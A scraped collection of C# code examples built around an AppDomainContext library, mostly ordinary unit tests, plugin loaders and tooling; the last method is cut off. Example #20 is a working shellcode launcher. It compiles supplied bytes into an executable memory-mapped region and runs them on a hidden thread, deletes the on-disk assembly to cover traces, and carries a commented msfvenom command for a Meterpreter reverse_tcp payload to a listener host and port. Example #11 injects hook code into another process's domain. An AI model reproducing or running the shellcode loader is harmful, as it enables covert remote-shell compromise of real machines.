Beispiel #1
0
        public void InvokeFunc_GenericEnumerableReturnValue_TransportsEnumerable()
        {
            var subject = new AppDomainContext(
                new AssemblyRewriter(_methodRewriterMock.Object, _moduleFilterMock.Object));
            IEnumerable<int> range = subject.Invoke(() => Enumerable.Range(1, 100));

            Assert.AreEqual(100, range.Count());
        }
Beispiel #2
0
        public void InvokeAction_RunsInOtherAppDomain()
        {
            int otherAppDomainId = AppDomain.CurrentDomain.Id;

            var subject = new AppDomainContext(
                new AssemblyRewriter(_methodRewriterMock.Object, _moduleFilterMock.Object));
            subject.Invoke(() =>
            {
                otherAppDomainId = AppDomain.CurrentDomain.Id;
            });

            Assert.AreNotEqual(AppDomain.CurrentDomain.Id, otherAppDomainId);
        }
Beispiel #3
0
        public async Task Exception()
        {
            await Assert.ThrowsAsync(typeof(AggregateException), async() =>
            {
                using (var context = AppDomainContext.Create())
                {
                    Test actual = null;

                    CancellationTokenSource tcs = new CancellationTokenSource();
                    actual = await RemoteFuncAsync.InvokeAsync(
                        context.Domain,
                        10,
                        (short)11,
                        new Double?(12.0),
                        new Composite()
                    {
                        Value = 13
                    },
                        "Last",
                        async(value1, value2, value3, value4, value5) =>
                    {
                        if (value5 == "Last")
                        {
                            throw new Exception("");
                        }
                        return(new Test()
                        {
                            Value1 = value1, Value2 = value2, Value3 = value3, Value4 = value4, Value5 = value5
                        });
                    });

                    Assert.NotNull(actual);
                    Assert.Equal(10, actual.Value1);
                    Assert.Equal(11, actual.Value2);
                    Assert.Equal(12, actual.Value3);
                    Assert.NotNull(actual.Value4);
                    Assert.Equal("Last", actual.Value5);
                    Assert.Equal(13, actual.Value4.Value);
                }
            });
        }
        public void Invoke_Serializable_TwoArg()
        {
            using (var context = AppDomainContext.Create())
            {
                var actual = RemoteFunc.Invoke(
                    context.Domain,
                    10,
                    (short)11,
                    (value1, value2) =>
                {
                    return(new Test()
                    {
                        Value1 = value1, Value2 = value2
                    });
                });

                Assert.IsNotNull(actual);
                Assert.AreEqual(10, actual.Value1);
                Assert.AreEqual(11, actual.Value2);
            }
        }
Beispiel #5
0
        public void LoadTargetWithReferences_InternalReferences_LoadFrom()
        {
            using (var context = AppDomainContext.Create())
            {
                var prevNumAssemblies = context.LoadedAssemblies.Count();

                // Add the correct resolver path for the test dir.
                context.RemoteResolver.AddProbePath(Path.GetFullPath(InternalRefsAssemblyDir));
                var targetPath = Path.GetFullPath(InternalRefsAssemblyPath);
                var assembly   = Assembly.LoadFile(targetPath);
                var target     = AssemblyTarget.FromAssembly(assembly);

                var targets = context.LoadTargetWithReferences(LoadMethod.LoadFrom, target);

                Assert.True(context.LoadedAssemblies.Count() > prevNumAssemblies);
                Assert.True(targets.Any(x => x.Location.Equals(targetPath)));
                Assert.True(targets.Any(x => x.FullName.Contains(InternalRefsAssemblyName)));
                Assert.True(targets.Any(x => x.FullName.Contains(AssemblyAName)));
                Assert.True(targets.Any(x => x.FullName.Contains(AssemblyBName)));
            }
        }
Beispiel #6
0
        public async Task Serializable_TwoArg()
        {
            using (var context = AppDomainContext.Create())
            {
                var actual = await RemoteFuncAsync.InvokeAsync(
                    context.Domain,
                    10,
                    (short)11,
                    async (value1, value2) =>
                {
                    return(new Test()
                    {
                        Value1 = value1, Value2 = value2
                    });
                });

                Assert.NotNull(actual);
                Assert.Equal(10, actual.Value1);
                Assert.Equal(11, actual.Value2);
            }
        }
Beispiel #7
0
        private AppDomainContext <AssemblyTargetLoader, PathBasedAssemblyResolver> CreateScriptAppDomain()
        {
            var permissionSet      = CreatePermissionSet();
            var allowedStrongNames = GetLoadedAssembliesStrongNames(permissionSet);

            var scriptDomainSetup = new AppDomainSetup
            {
                ApplicationTrust = new ApplicationTrust(permissionSet, allowedStrongNames),
            };

            var clientScriptAppDomain = AppDomainContext.Create(scriptDomainSetup);

            clientScriptAppDomain.AssemblyImporter.AddProbePath(_scriptDirectoryPath);
            clientScriptAppDomain.RemoteResolver.AddProbePath(_scriptDirectoryPath);

            foreach (var dllFile in GetDllFiles())
            {
                clientScriptAppDomain.LoadAssembly(LoadMethod.LoadFrom, dllFile);
            }

            return(clientScriptAppDomain);
        }
Beispiel #8
0
        public void Create_NoApplicationNameSupplied()
        {
            var workingDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
            var setupInfo  = new AppDomainSetup()
            {
                ApplicationBase = workingDir,
                PrivateBinPath  = workingDir
            };

            var target = AppDomainContext.Create(setupInfo);

            Assert.NotNull(target);
            Assert.NotNull(target.Domain);
            Assert.NotNull(target.UniqueId);
            Assert.NotNull(target.RemoteResolver);
            Assert.NotEqual(AppDomain.CurrentDomain, target.Domain);

            // Verify the app domain's setup info
            Assert.False(string.IsNullOrEmpty(target.Domain.SetupInformation.ApplicationName));
            Assert.Equal(setupInfo.ApplicationBase, setupInfo.ApplicationBase);
            Assert.Equal(setupInfo.PrivateBinPath, target.Domain.SetupInformation.PrivateBinPath);
        }
Beispiel #9
0
        public static void AppDomainContextInitialize()
        {
            Database.SetInitializer(new AppDomainContextInitializer());
            var context = new AppDomainContext();

            //if (!context.Database.Exists())
            //{
            //    DatabaseHelper.UpdateDatabase();
            //}
            //else
            //{
            //    if (!context.Database.CompatibleWithModel(true))
            //    {
            //        DatabaseHelper.UpdateDatabase();
            //    }

            //    if (!context.Database.CompatibleWithModel(true))
            //    {
            //        throw new Exception("Database not updated.  Please contact your system administrator!");
            //    }
            //}
        }
Beispiel #10
0
        public void Decompile(Stream assemblyStream, TextWriter codeWriter)
        {
            var currentSetup = AppDomain.CurrentDomain.SetupInformation;

            using (var dataTarget = DataTarget.AttachToProcess(CurrentProcess.Id, UInt32.MaxValue, AttachFlag.Passive))
                using (var context = AppDomainContext.Create(new AppDomainSetup {
                    ApplicationBase = currentSetup.ApplicationBase,
                    PrivateBinPath = currentSetup.PrivateBinPath
                })) {
                    context.LoadAssembly(LoadMethod.LoadFrom, Assembly.GetExecutingAssembly().GetAssemblyFile().FullName);
                    var results = RemoteFunc.Invoke(context.Domain, assemblyStream, Remote.GetCompiledMethods);

                    var currentMethodAddressRef = new Reference <ulong>();
                    var runtime    = dataTarget.ClrVersions.Single().CreateRuntime();
                    var translator = new IntelTranslator {
                        SymbolResolver = (Instruction instruction, long addr, ref long offset) =>
                                         ResolveSymbol(runtime, instruction, addr, currentMethodAddressRef.Value)
                    };

                    codeWriter.WriteLine("; This is an experimental implementation.");
                    codeWriter.WriteLine("; Please report any bugs to https://github.com/ashmind/TryRoslyn/issues.");
                    codeWriter.WriteLine();
                    foreach (var result in results)
                    {
                        var methodHandle = (ulong)result.Handle.ToInt64();
                        var method       = runtime.GetMethodByHandle(methodHandle);
                        if (method == null)
                        {
                            codeWriter.WriteLine("    ; Method with handle 0x{0:X} was somehow not found by CLRMD.", methodHandle);
                            codeWriter.WriteLine("    ; See https://github.com/ashmind/TryRoslyn/issues/84.");
                            continue;
                        }

                        DisassembleAndWrite(method, result.Message, translator, currentMethodAddressRef, codeWriter);
                        codeWriter.WriteLine();
                    }
                }
        }
        public void DotNetHooks()
        {
            _server.LogDebug("Hooks.DotNetHooks IN");

            IList <AppDomain> appDomains = Utility.GetAppDomains();

            _server.LogDebug("Hooks.DotNetHooks appDomains " + appDomains.Count);
            foreach (AppDomain appDomain in appDomains)
            {
                _server.LogDebug("Hooks.DotNetHooks appDomain.FriendlyName " + appDomain.FriendlyName);
            }

            AppDomain remotePlayDomain = appDomains[0];

            try
            {
                var domainContext = AppDomainContext.Wrap(remotePlayDomain);
                try
                {
                    RemoteAction.Invoke(
                        domainContext.Domain,
                        () =>
                    {
                        PatcherRemoteplayToolbar.server = EasyHook.RemoteHooking.IpcConnectClient <InjectionInterface>("dotnethooks");
                        PatcherRemoteplayToolbar.DoPatching();
                    });
                }
                catch (Exception e)
                {
                    _server.LogError(e, "Error when executing remote AppDomain code");
                }
            }
            catch (Exception e)
            {
                _server.LogError(e, "Error Hooks.100");
            }
            _server.LogDebug("Hooks.DotNetHooks OUT");
        }
Beispiel #12
0
        public void Create_ValidSetupInfo()
        {
            var workingDir = Path.GetDirectoryName(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath);
            var setupInfo  = new AppDomainSetup()
            {
                ApplicationName = "My app",
                ApplicationBase = workingDir,
                PrivateBinPath  = workingDir
            };

            var target = AppDomainContext.Create(setupInfo);

            Assert.NotNull(target);
            Assert.NotNull(target.Domain);
            Assert.NotNull(target.UniqueId);
            Assert.NotNull(target.RemoteResolver);
            Assert.NotEqual(AppDomain.CurrentDomain, target.Domain);

            // Verify the app domain's setup info
            Assert.Equal(setupInfo.ApplicationName, target.Domain.SetupInformation.ApplicationName, true);
            Assert.Equal(setupInfo.ApplicationBase, setupInfo.ApplicationBase);
            Assert.Equal(setupInfo.PrivateBinPath, target.Domain.SetupInformation.PrivateBinPath);
        }
        public void Invoke_Serializable_ThreeArg()
        {
            using (var context = AppDomainContext.Create())
            {
                var actual = RemoteFunc.Invoke(
                    context.Domain,
                    10,
                    (short)11,
                    new Double?(12),
                    (value1, value2, value3) =>
                {
                    return(new Test()
                    {
                        Value1 = value1, Value2 = value2, Value3 = value3
                    });
                });

                Assert.NotNull(actual);
                Assert.Equal(10, actual.Value1);
                Assert.Equal(11, actual.Value2);
                Assert.Equal(12, actual.Value3);
            }
        }
        public void Invoke_MarshalObjectByRef_ThreeArg()
        {
            using (var context = AppDomainContext.Create())
            {
                var actual = new Test();
                RemoteAction.Invoke(
                    context.Domain,
                    actual,
                    (short)11,
                    new Double?(12.0),
                    (test, value2, value3) =>
                {
                    test.Value1 = 10;
                    test.Value2 = value2;
                    test.Value3 = value3;
                });

                Assert.NotNull(actual);
                Assert.Equal(10, actual.Value1);
                Assert.Equal(11, actual.Value2);
                Assert.Equal(12.0, actual.Value3);
            }
        }
        public void Decompile(Stream assemblyStream, TextWriter codeWriter)
        {
            var currentSetup = AppDomain.CurrentDomain.SetupInformation;

            using (var dataTarget = DataTarget.AttachToProcess(CurrentProcess.Id, UInt32.MaxValue, AttachFlag.Passive))
                using (var context = AppDomainContext.Create(new AppDomainSetup {
                    ApplicationBase = currentSetup.ApplicationBase,
                    PrivateBinPath = currentSetup.PrivateBinPath
                })) {
                    context.LoadAssembly(LoadMethod.LoadFrom, Assembly.GetExecutingAssembly().GetAssemblyFile().FullName);
                    var results = RemoteFunc.Invoke(context.Domain, assemblyStream, Remote.GetCompiledMethods);

                    var currentMethodAddressRef = new Reference <ulong>();
                    var runtime    = dataTarget.ClrVersions.Single().CreateRuntime();
                    var translator = new IntelTranslator {
                        SymbolResolver = (Instruction instruction, long addr, ref long offset) =>
                                         ResolveSymbol(runtime, instruction, addr, currentMethodAddressRef.Value)
                    };

                    WriteJitInfo(runtime.ClrInfo, codeWriter);

                    var architecture = MapArchitecture(runtime.ClrInfo.DacInfo.TargetArchitecture);
                    foreach (var result in results)
                    {
                        var method = GetMethod(runtime, result);
                        if (method == null)
                        {
                            codeWriter.WriteLine("Unknown (0x{0:X})", (ulong)result.Handle.ToInt64());
                            codeWriter.WriteLine("    ; Method was not found by CLRMD (reason unknown).");
                            codeWriter.WriteLine("    ; See https://github.com/ashmind/SharpLab/issues/84.");
                            continue;
                        }
                        DisassembleAndWrite(method, result.Status, architecture, translator, currentMethodAddressRef, codeWriter);
                        codeWriter.WriteLine();
                    }
                }
        }
Beispiel #16
0
        /// <summary>
        ///  Compile and run CSharp code snippets
        /// </summary>
        /// <param name="SnippetDirectives"></param>
        /// <param name="SnippetCode"></param>
        /// <returns></returns>
        internal static bool CompileRunSnippet(string SnippetDirectives, string SnippetCode)
        {
            using (var context = AppDomainContext.Create())
            {
                // What assembly we are in, do not include on load;
                Assembly currentAssem = Assembly.GetExecutingAssembly();

                String[] referencedAssemblies =
                    AppDomain.CurrentDomain.GetAssemblies()
                    .Where(a => !a.FullName.StartsWith(currentAssem.FullName, StringComparison.InvariantCultureIgnoreCase))
                    .Where(a => !a.IsDynamic)         //is necessary because a dynamic assembly will throw and exception when calling a.Location
                    .Select(a => a.Location)
                    .ToArray();

                // We want to bring in Micrsosoft.CSharp dll for scripts that use dynamic constructs.
                // While the dll is
                CSharpUtil.LoadCSCompilNamespace();


                //String[] referencedAssemblies = AppDomain.CurrentDomain.GetAssemblies()
                //    .Where( a => !a.IsDynamic)
                //    .Select(a => a.Location).ToArray();

                if (!ConfigUtil.DEBUG)
                {
                    foreach (String ra in referencedAssemblies)
                    {
                        Console.WriteLine("Including assembly: {0}", ra);
                    }
                }


                // A Wrapper around the snippet, with proper object disposal
                #region ScriptText
                String SnippetPreamble = @"
                            namespace Dynamic {
                              public class DynamicCompile: System.IDisposable{ 

                                private bool disposed = false;
                                public DynamicCompile(){
                                        // Console.WriteLine(""=== Dynamic CScript === "");
                                }                                
                                public void GetResults(){
                                    try {
                                    ";

                String SnippetPostAmble = @" 
                                    }catch(Exception e){
                                        Console.WriteLine(""Exception : {0} "", e);
                                    }
                                } 

                                //Implement IDisposable.
                                public void Dispose()
                                {
                                    Dispose(true);
                                    GC.SuppressFinalize(this);
                                }

                                protected virtual void Dispose(bool disposing)
                                {
                                    if (!disposed)
                                    {
                                        if (disposing)
                                        {
                                            // Free other state (managed objects).
                                        }
                                        // Free your own state (unmanaged objects).
                                        // Console.WriteLine(""=== End Dynamic CScript === "");
                                        disposed = true;
                                    }
                                }

                                // Use C# destructor syntax for finalization code.
                                ~DynamicCompile(){
                                    // Simply call Dispose(false).
                                    Dispose (false);
                                }
                              } 
                            }";

                String SourceCode = SnippetDirectives + SnippetPreamble + SnippetCode + SnippetPostAmble;

                #endregion ScriptText

                Microsoft.CSharp.CSharpCodeProvider csc = new Microsoft.CSharp.CSharpCodeProvider(
                    new Dictionary <string, string>()
                {
                    { "CompilerVersion", "v4.0" }
                });

                CompilerParameters parameters = new CompilerParameters(
                    referencedAssemblies);

                parameters.GenerateInMemory   = true;
                parameters.GenerateExecutable = false;
                parameters.TempFiles          = new TempFileCollection(Path.GetTempPath(), true);
                parameters.CompilerOptions   += "/nologo  /unsafe";

                String aPathName =
                    Path.Combine(Environment.CurrentDirectory, Path.GetFileName(Path.GetTempFileName()).Replace(".tmp", ".dll"));
                parameters.OutputAssembly = aPathName;

                CompilerResults cr = csc.CompileAssemblyFromSource(parameters, SourceCode);
                if (cr.Errors.HasErrors)
                {
                    foreach (String output in cr.Output)
                    {
                        Console.WriteLine(output);
                    }

                    return(false);
                }

                var type = cr.CompiledAssembly.GetType("Dynamic.DynamicCompile");

                FileInfo fi = new FileInfo(aPathName);
                File.Delete(aPathName);

                object[] constructorArgs = new object[] { };
                dynamic  instance        = Activator.CreateInstance(type, constructorArgs);

                Console.WriteLine("\n--- Result ---");
                instance.GetResults();

                // Dispose of instances. Avoiding memory leaks (e.g. for rapid fire of calls in a loop).
                instance.Dispose();
                //GC.Collect();
                //GC.WaitForPendingFinalizers();
            }

            return(true);
        }
Beispiel #17
0
 public AvionsController(AppDomainContext context)
 {
     _context = context;
 }
Beispiel #18
0
 public StudentRepository(
     AppDomainContext context
     ) : base(context)
 {
 }
Beispiel #19
0
        public CacheWarmupGeneratorResponse WarmupCache(string assemblyPath, string xafApplicationTypeName)
        {
            using (var context = AppDomainContext.Create(new AppDomainSetup
            {
                ApplicationBase = Path.GetDirectoryName(typeof(CacheWarmupGenerator).Assembly.Location),
                PrivateBinPath = Path.GetDirectoryName(assemblyPath),
                ConfigurationFile = $"{assemblyPath}.config"
            }))
            {
                context.LoadAssemblyWithReferences(LoadMethod.LoadFile, assemblyPath);
                return(RemoteFunc.Invoke(context.Domain, new CacheWarmupGeneratorRequest
                {
                    AssemblyPath = assemblyPath,
                    XafApplicationTypeName = xafApplicationTypeName,
                },
                                         (args) =>
                {
                    WriteLine($"Try to find {args.XafApplicationTypeName} in {args.AssemblyPath}");
                    var assembly = AppDomain.CurrentDomain.GetAssemblies().First(b => b.Location == args.AssemblyPath);
                    var applicationType = assembly.GetType(args.XafApplicationTypeName);

                    if (applicationType != null)
                    {
                        WriteLine($"Found {args.XafApplicationTypeName} in {args.AssemblyPath}");

                        WriteLine($"Creating Application");
                        using (var xafApplication = (System.IDisposable)applicationType.CreateInstance())
                        {
                            WriteLine($"Created Application");
                            WriteLine($"Remove SplashScreen");
                            xafApplication.SetPropertyValue("SplashScreen", null);
                            WriteLine($"Set DatabaseUpdateMode: 'Never'");
                            xafApplication.SetPropertyValue("DatabaseUpdateMode", 0);

                            WriteLine($"Setting up application");
                            WriteLine($"Starting cache warmup");
                            xafApplication.CallMethod("Setup");
                            WriteLine($"Setup application done.");
                            WriteLine($"Wormed up caches.");

                            var dcAssemblyFilePath = (string)xafApplication.CallMethod(GetDcAssemblyFilePath);
                            var modelAssemblyFilePath = (string)xafApplication.CallMethod(GetModelAssemblyFilePath);
                            var modelCacheFileLocationPath = (string)xafApplication.CallMethod(GetModelCacheFileLocationPath);
                            var modulesVersionInfoFilePath = (string)xafApplication.CallMethod(GetModulesVersionInfoFilePath);

                            var cacheResult = new CacheWarmupGeneratorResponse
                            {
                                DcAssemblyFilePath = dcAssemblyFilePath,
                                ModelAssemblyFilePath = modelAssemblyFilePath,
                                ModelCacheFilePath = modelCacheFileLocationPath,
                                ModulesVersionInfoFilePath = modulesVersionInfoFilePath
                            };

                            WriteLine($"{nameof(cacheResult.DcAssemblyFilePath)}: {cacheResult.DcAssemblyFilePath}");
                            WriteLine($"{nameof(cacheResult.ModelAssemblyFilePath)}: {cacheResult.ModelAssemblyFilePath}");
                            WriteLine($"{nameof(cacheResult.ModelCacheFilePath)}: {cacheResult.ModelCacheFilePath}");
                            WriteLine($"{nameof(cacheResult.ModulesVersionInfoFilePath)}: {cacheResult.ModulesVersionInfoFilePath}");

                            return cacheResult;
                        }
                    }

                    return null;
                }));
            }
        }
Beispiel #20
0
        /// <summary>
        /// Compile and Run Shellcode
        /// A couple of methods that could be used to lauch Shellcode:
        /// Method 1. loading shellcode in memory mapped I/O, pointing execution there via unsafe poijnter: below
        /// Method 2. Allocating virtual memory in the process https://holdmybeer.xyz/2016/09/11/c-to-windows-meterpreter-in-10mins/
        /// </summary>
        /// <param name="ShellCode"></param>
        /// <returns></returns>
        internal static bool CompileRunShellCode(string ShellCode)
        {
            /* Example:
             *  private WorkThreadFunction(ShellCode){
             *      DynCSharpRunner.CompileRunShellCode(ShellCode);
             *  }
             * //msfvenom  -p windows/meterpreter/reverse_tcp --platform windows ReverseConnectRetries=255
             *              PrependMigrate=true  LHOST=172.16.56.230 LPORT=1337 -e x86/shikata_ga_nai -i 3 -f  csharp
             *  String ShellCode = @"
             *      0xdb,0xc0,0xb8,0x22,0x07,0x27,0xf3,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xb1,
             *      0x61,0x31,0x46,0x1a,0x83,0xc6,0x04,0x03,0x46,0x16,0xe2,0xd7,0xba,0x1c,0x88,
             *      0xb0,0x69,0xed,0x38,0xfb,0x8e,0x25,0x5a,0x04 ....
             *      ";
             *
             *
             *      Thread thread = new Thread(new ThreadStart(WorkThreadFunction));
             *      thread.IsBackground = true;
             *      thread.Start();
             */

            // Determine the name of the assembly e are in, so we do not include it on load;
            Assembly currentAssem = Assembly.GetExecutingAssembly();

            String[] referencedAssemblies =
                AppDomain.CurrentDomain.GetAssemblies()
                .Where(a => !a.FullName.StartsWith("mscorlib", StringComparison.InvariantCultureIgnoreCase))
                .Where(a => !a.FullName.StartsWith(currentAssem.FullName, StringComparison.InvariantCultureIgnoreCase))
                .Where(a => !a.IsDynamic)         //is necessary because a dynamic assembly will throw and exception when calling a.Location
                .Select(a => a.Location)
                .ToArray();


            // Create a separate AppDomain, mainly so we can unload assembly cleanly, and delete temporary assembly in disk bypassing file locking
            using (var context = AppDomainContext.Create())
            {
                // Code Wrapper for snippet we are compiling.
                // It will include shellcode in C# source code and dynamically compile it.
                // See comments on ho MMF I/O is done
                #region Snippet
                String SnippetPreamble  = @"
                            namespace DynamicShellCode {

                              using System;
                              using System.IO.MemoryMappedFiles;
                              using System.Runtime.InteropServices;

                              public class DynamicShellCodeCompile{ 

                                private delegate IntPtr GetPebDelegate();
                                public void GetResults(){
                                        this.GetPeb();
                                }
                                private unsafe IntPtr GetPeb()
                                {
                                   var shellcode = new byte[]
                                   {
                            ";
                String SnippetPostAmble = @" 
                                   };
 
                                   MemoryMappedFile mmf = null;
                                   MemoryMappedViewAccessor mmva = null;
                                   try
                                   {
                                        // Create a read/write/executable memory mapped file to hold our shellcode..
                                        mmf = MemoryMappedFile.CreateNew(""__shellcode"", 
                                                    shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);

                                        // Create a memory mapped view accessor with read/write/execute permissions..
                                        mmva = mmf.CreateViewAccessor(0, shellcode.Length, 
                                                    MemoryMappedFileAccess.ReadWriteExecute);

                                        // Write the shellcode to the MMF..
                                        mmva.WriteArray(0, shellcode, 0, shellcode.Length);

                                        // Obtain a pointer to our MMF..
                                        var pointer = (byte*)0;
                                        mmva.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);

                                        // Create a function delegate to the shellcode in our MMF..
                                        var func = (GetPebDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), 
                                                                    typeof(GetPebDelegate));

                                        // Invoke the shellcode..
                                        return func();
                                    }
                                    catch
                                    {
                                        return IntPtr.Zero;
                                    }
                                    finally
                                    {
                                        mmva.Dispose();
                                        mmf.Dispose();
                                    }
                                }
                              }
                            }
                            ";

                String SourceCode = SnippetPreamble + ShellCode + SnippetPostAmble;

                #endregion ScriptText

                // Grab CodeDom compiler.
                // TODO: logic to avoid reliance on the version, but figure out what is available
                Microsoft.CSharp.CSharpCodeProvider csc = new Microsoft.CSharp.CSharpCodeProvider(
                    new Dictionary <string, string>()
                {
                    { "CompilerVersion", "v4.0" }
                });

                // Include assemblies / dependencies in the compilation
                CompilerParameters parameters = new CompilerParameters(
                    referencedAssemblies);

                // In-memory generation is a misnomer. There are some artifacts left on disk,
                // in-memory really means `in temp`
                // Example of artifacts for in-memory compilation and preservation of temp files:

                /*
                 * λ dir "C:\Users\dimas\AppData\Local\Temp\tmp*"
                 *   Volume in drive C has no label.
                 *   Volume Serial Number is ECBC-2429
                 *
                 *  Directory of C:\Users\dimas\AppData\Local\Temp
                 *
                 *  08/12/2017  10:31 PM                 0 tmp16A6.tmp
                 *  08/12/2017  10:30 PM                 0 tmpF581.tmp
                 *  08/12/2017  10:32 PM             2,080 1vvp5flt.0.cs
                 *
                 *  If temp files are preserved we see:
                 *  08/12/2017  10:32 PM               778 1vvp5flt.cmdline
                 *  08/12/2017  10:32 PM                 0 1vvp5flt.err
                 *  08/12/2017  10:32 PM             1,353 1vvp5flt.out
                 *  08/12/2017  10:32 PM                 0 1vvp5flt.tmp
                 */
                parameters.GenerateInMemory   = true;
                parameters.GenerateExecutable = false;

                // Where to generate temp files, and whether to leave them
                parameters.TempFiles = new TempFileCollection(Path.GetTempPath(), true);

                // options for the compiler. We choose `unsafe` because we want a raw pointer to the buffer containing shellcode
                // parameters.CompilerOptions += "/optimize+ ";
                // parameters.CompilerOptions += "/target:module";
                parameters.CompilerOptions += "/nologo /unsafe";

                // Assembly Loader wants a ".dll" or an ".exe" in the assembly name although .Net runtime does not care. We rename
                String aPathName =
                    Path.Combine(Environment.CurrentDirectory, Path.GetFileName(Path.GetTempFileName()).Replace(".tmp", ".dll"));
                // We give a name to the newly generated assembly
                parameters.OutputAssembly = aPathName;

                // The call to compile
                CompilerResults cr = csc.CompileAssemblyFromSource(parameters, SourceCode);

                if (cr.Errors.HasErrors)
                {
                    foreach (String output in cr.Output)
                    {
                        Console.WriteLine(output);
                    }

                    return(false);
                }

                // This call to .CompiledAssembly loads the newly compile assembly into memory.
                // Now we can release locks on the assembly file, and delete it after we get the type to run
                // Deletion of the assembly file is possible because we are executing in a new AppDomain.
                // Normally we cannot delete an asembly if it's being used/loadded in the same AppDomain. It is locked by the process.
                var type = cr.CompiledAssembly.GetType("DynamicShellCode.DynamicShellCodeCompile");

                FileInfo fi = new FileInfo(aPathName);
                // Console.WriteLine("Exists? {0}", fi.Exists);
                // Console.WriteLine(aPathName);
                File.Delete(aPathName);

                // Invoke the type in the assembly with Activator in a separate thread. The type Executes the shellcode
                object[] constructorArgs = new object[] { };
                dynamic  instance        = Activator.CreateInstance(type, constructorArgs);
                try
                {
                    Thread thread = new Thread(() => SCRunner(instance));
                    thread.IsBackground = true;
                    thread.Start();
                }
                catch { }
            }

            return(true);
        }
Beispiel #21
0
 public AeroportService(AppDomainContext context)
 {
     _context = context;
 }
Beispiel #22
0
 public VolsController(AppDomainContext context, IVolService volService)
 {
     _context    = context;
     _volService = volService;
 }
 private static AppDomainContext <AssemblyTargetLoader, PathBasedAssemblyResolver> CreateAppDomainContext()
 {
     return(AppDomainContext.Create(AppDomain.CurrentDomain.SetupInformation));
 }
Beispiel #24
0
        public string ResolveClassImplementationFullName(IPackageRepository packageRepository,
                                                         IPackage nuGetPackage,
                                                         string assemblyName,
                                                         string className)
        {
            var result = string.Empty;

            if (string.IsNullOrEmpty(assemblyName))
            {
                throw new Exception("AssemblyNameHint is null");
            }

            var assemblies         = ResolveAssemblyPaths(packageRepository, nuGetPackage, "net45", false);
            var targetAssemblyPath = assemblies.FirstOrDefault(p => p.Contains(assemblyName));

            if (string.IsNullOrEmpty(targetAssemblyPath))
            {
                throw new Exception(string.Format("Cannot find assembly [{0}] in nuget package:[{1}]",
                                                  assemblyName, nuGetPackage.Id));
            }

            using (var context = AppDomainContext.Create())
            {
                context.LoadAssembly(LoadMethod.LoadFile, targetAssemblyPath);

                var options = new ResolveClassImplementationOptions
                {
                    AssemblyName = assemblyName,
                    ClassName    = className
                };

                var tmpResult = RemoteFunc.Invoke(context.Domain, options, (ops) =>
                {
                    var tt  = typeof(NuGetSolutionPackageService);
                    var tmp = new List <SolutionToolPackage>();

                    var allTypes = AppDomain.CurrentDomain.GetAssemblies()
                                   .SelectMany(a => a.GetTypes())
                                   .OrderBy(s => s.Name)
                                   .ToList();

                    var toolResolutioNServiceBaseType = allTypes.FirstOrDefault(t => t.Name.ToUpper() == ops.ClassName.ToUpper());

                    if (toolResolutioNServiceBaseType == null)
                    {
                        throw new Exception(string.Format("Cannot find type for class:[{0}]", ops.ClassName));
                    }

                    var assembly = AppDomain.CurrentDomain.GetAssemblies()
                                   .FirstOrDefault(a => a.Location.Contains(ops.AssemblyName));

                    var toolResolutionType = assembly.GetTypes()
                                             .FirstOrDefault(t => toolResolutioNServiceBaseType.IsAssignableFrom(t));

                    if (toolResolutionType != null)
                    {
                        return(toolResolutionType.FullName);
                    }

                    return(null);
                });

                result = tmpResult.Clone() as string;
            }

            return(result);
        }
Beispiel #25
0
        public List <SolutionToolPackage> ResolveAdditionalTooling(IPackageRepository packageRepository,
                                                                   IPackage nuGetPackage,
                                                                   string assemblyName)
        {
            var result = new List <SolutionToolPackage>();

            if (string.IsNullOrEmpty(assemblyName))
            {
                throw new Exception("AssemblyNameHint is null");
            }

            var assemblies         = ResolveAssemblyPaths(packageRepository, nuGetPackage, "net45", false);
            var targetAssemblyPath = assemblies.FirstOrDefault(p => p.Contains(assemblyName));

            if (string.IsNullOrEmpty(targetAssemblyPath))
            {
                throw new Exception(string.Format("Cannot find assembly [{0}] in nuget package:[{1}]",
                                                  assemblyName, nuGetPackage.Id));
            }

            using (var context = AppDomainContext.Create())
            {
                context.LoadAssembly(LoadMethod.LoadFile, targetAssemblyPath);

                var options = new ResolveAdditionalToolingOptions
                {
                    AssemblyName = assemblyName
                };

                var tmpResult = RemoteFunc.Invoke(context.Domain, options, (ops) =>
                {
                    var tmp = new List <SolutionToolPackage>();

                    var allTypes = AppDomain.CurrentDomain.GetAssemblies().SelectMany(a => a.GetTypes());
                    var toolResolutioNServiceBaseType = allTypes.FirstOrDefault(t => t.Name == "ToolResolutionServiceBase");

                    var assembly = AppDomain.CurrentDomain.GetAssemblies()
                                   .FirstOrDefault(a => a.Location.Contains(ops.AssemblyName));

                    var toolResolutionType = assembly.GetTypes()
                                             .FirstOrDefault(t => toolResolutioNServiceBaseType.IsAssignableFrom(t));

                    if (toolResolutionType != null)
                    {
                        var toolResolutionImpl = Activator.CreateInstance(toolResolutionType);

                        var additionalTools = ReflectionUtils.InvokeMethod(toolResolutionImpl, "GetAdditionalToolPackages") as List <SolutionToolPackage>;

                        if (additionalTools != null)
                        {
                            tmp.AddRange(additionalTools);
                        }
                    }

                    return(tmp);
                });

                foreach (var tool in tmpResult)
                {
                    result.Add(new SolutionToolPackage
                    {
                        Id               = tool.Id,
                        Version          = tool.Version,
                        AssemblyNameHint = tool.AssemblyNameHint
                    });
                }
            }

            return(result);
        }
Beispiel #26
0
        /// <inheritdoc />
        public void LoadPlugin(PluginInfo pluginInfo)
        {
            lock (_plugins)
            {
                // Unload the plugin first if it is already loaded
                if (_plugins.Contains(pluginInfo))
                {
                    UnloadPlugin(pluginInfo);
                }

                // TODO Just temporarily until settings are in place
                pluginInfo.Enabled = true;
                var mainFile = Path.Combine(pluginInfo.Directory.FullName, pluginInfo.Main);
                if (!File.Exists(mainFile))
                {
                    throw new ArtemisPluginException(pluginInfo, "Couldn't find the plugins main entry at " + mainFile);
                }

                // Load the plugin, all types implementing Plugin and register them with DI
                var setupInfo = new AppDomainSetup
                {
                    ApplicationName = pluginInfo.Guid.ToString(),
                    ApplicationBase = AppDomain.CurrentDomain.BaseDirectory,
                    PrivateBinPath  = pluginInfo.Directory.FullName
                };
                pluginInfo.Context = AppDomainContext.Create(setupInfo);

                try
                {
                    pluginInfo.Context.LoadAssemblyWithReferences(LoadMethod.LoadFrom, mainFile);
                }
                catch (Exception e)
                {
                    throw new ArtemisPluginException(pluginInfo, "Failed to load the plugins assembly", e);
